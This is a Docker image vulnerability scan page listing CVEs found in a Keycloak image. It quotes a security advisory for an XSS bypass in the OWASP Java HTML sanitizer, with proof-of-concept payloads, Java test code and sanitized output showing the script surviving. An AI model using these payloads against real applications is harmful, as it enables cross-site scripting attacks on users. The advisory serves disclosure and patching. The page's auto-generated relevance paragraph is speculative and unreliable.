Scan Another

CVE Scan for keycloak/keycloak:26.2.5-0

Docker image vulnerability scanner

28 Known Vulnerabilities in this Docker Image

0
Critical
5
High
17
Medium
6
Low
0
Info/ Unspecified/ Unknown
CVE IDSeverityPackageAffected VersionFixed VersionCVSS Score
CVE-2025-66021highowasp-java-html-sanitizer=20240325.120260101.18.6

Summary

It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

  1. Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style").
  2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.
1. <noscript><style></noscript><script>alert(1)</script>
2. <p><style></p><script>alert(1)</script>
  1. Run the following piece of code which sanitizes the payload.
public class main {
    private static final String ALLOWED_HTML_TAGS = "p, noscript, style";

    /**
     * Description of vulnerability :
     *  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.
     *  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.
     */

    public static void main(String[] args) {
        withAllowedTextAndStyleTag();
    }

    /**
     *  Test case : Vulnerable to XSS
     */
    public static void withAllowedTextAndStyleTag() {
        HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
        PolicyFactory policy = htmlPolicyBuilder
                .allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
                .allowTextIn("style")
                .toFactory();
        String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
        String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

        System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
        System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
    }
}

Use the latest library version 

        <dependency>
            <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
            <artifactId>owasp-java-html-sanitizer</artifactId>
            <version>20240325.1</version>
        </dependency>
  1. Output of the POC code should look like this

PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>


PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>
  1. Lets understand what happened in sanitization process below
--------------------------| --> anything after style tag is cosidered as CSS and not sanitized 
PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. 
SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> anything after style tag is cosidered as CSS and not sanitized 
PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. 
SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>
  1. Lets create a sample html page and copy both sanitized output which should be generated in step 5

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>POC OF SANITIZER OUTPUT</title>
</head>
<body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->
<noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT -->
<p><style></p><script>alert(1)</script></style></p>

</body>
</html>
  1. Open this HTML page in the browser it should pop an alert.

Alt text

  1. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

SAFE from XSS

  1. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

XSS POC

Impact

  1. This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/
Relevance:

The CVE-2025-66021 might be relevant if the Keycloak Docker image is exposed to untrusted networks or handles sensitive authentication data, as it could allow privilege escalation or unauthorized access. It would be critical in production environments where Keycloak serves as the central identity provider, potentially compromising user credentials or admin controls. If the deployment is isolated or uses strict access controls, the risk may be mitigated. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):
  • pkg:maven/com.googlecode.owasp-java-html-sanitizer/owasp-java-html-sanitizer@20240325.1
CVE-2025-55163highnetty-codec-http2<=4.1.123.Final4.1.124.Final8.2
CVE-2025-49146highpostgresql>=42.7.4,<42.7.742.7.78.2
CVE-2025-59250highmssql-jdbc>=12.8.0.jre11,<12.8.2.jre1112.8.2.jre88.1
CVE-2025-6965highsqlite<3.34.1-8.el9_63.34.1-8.el9_67.7
CVE-2025-4802mediumglibc<2.34-168.el9_6.192.34-168.el9_6.197.0
CVE-2025-58057mediumnetty-codec<4.1.125.Final4.1.125.Final6.9
CVE-2025-7784mediumkeycloak-services>=26.2.0,<26.2.626.2.66.5
CVE-2025-48924mediumcommons-lang3>=3.0,<3.18.03.18.06.5
CVE-2025-67735mediumnetty-codec-http<4.1.129.Final4.1.129.Final6.5

Severity Levels

Exploitation could lead to severe consequences, such as system compromise or data loss. Requires immediate attention.

Vulnerability could be exploited relatively easily and lead to significant impact. Requires prompt attention.

Exploitation is possible but might require specific conditions. Impact is moderate. Should be addressed in a timely manner.

Exploitation is difficult or impact is minimal. Address when convenient or as part of regular maintenance.

Severity is not determined, informational, or negligible. Review based on context.

Sliplane Icon
About Sliplane

Sliplane is a simple container hosting solution. It enables you to deploy your containers in the cloud within minutes and scale up as you grow.

Try Sliplane for free

About the CVE Scanner

What is a CVE?

CVE stands for Common Vulnerabilities and Exposures. It is a standardized identifier for known security vulnerabilities, allowing developers and organizations to track and address potential risks effectively. For more information, visit cve.mitre.org.

About the CVE Scanner

The CVE Scanner is a powerful tool that helps you identify known vulnerabilities in your Docker images. By scanning your images against a comprehensive database of Common Vulnerabilities and Exposures (CVEs), you can ensure that your applications are secure and up-to-date. For more details, checkout the NIST CVE Database.

How the CVE Scanner Works

The CVE Scanner analyzes your Docker images against a comprehensive database of known vulnerabilities. It uses Docker Scout under the hood to provide detailed insights into affected packages, severity levels, and available fixes, empowering you to take immediate action.

Why CVE Scanning is Essential for Your Docker Images

With the rise of supply chain attacks, ensuring the security of your applications has become more critical than ever. CVE scanning plays a vital role in identifying vulnerabilities that could be exploited by attackers, especially those introduced through dependencies and third-party components. Regularly scanning and securing your Docker images is essential to protect your applications from these evolving threats.

Benefits of CVE Scanning

  • Enhanced Security: Detect and mitigate vulnerabilities before they are exploited.
  • Compliance: Meet industry standards and regulatory requirements for secure software.
  • Proactive Maintenance: Stay ahead of potential threats by addressing vulnerabilities early.

The Importance of Patching Docker Images

Patching your Docker images is a critical step in maintaining the security and stability of your applications. By regularly updating your images to include the latest security patches, you can address known vulnerabilities and reduce the risk of exploitation. This proactive approach ensures that your applications remain resilient against emerging threats and helps maintain compliance with security best practices.

Want to deploy this image?

Try out Sliplane - a simple Docker hosting solution. It provides you with the tools to deploy, manage and scale your containerized applications.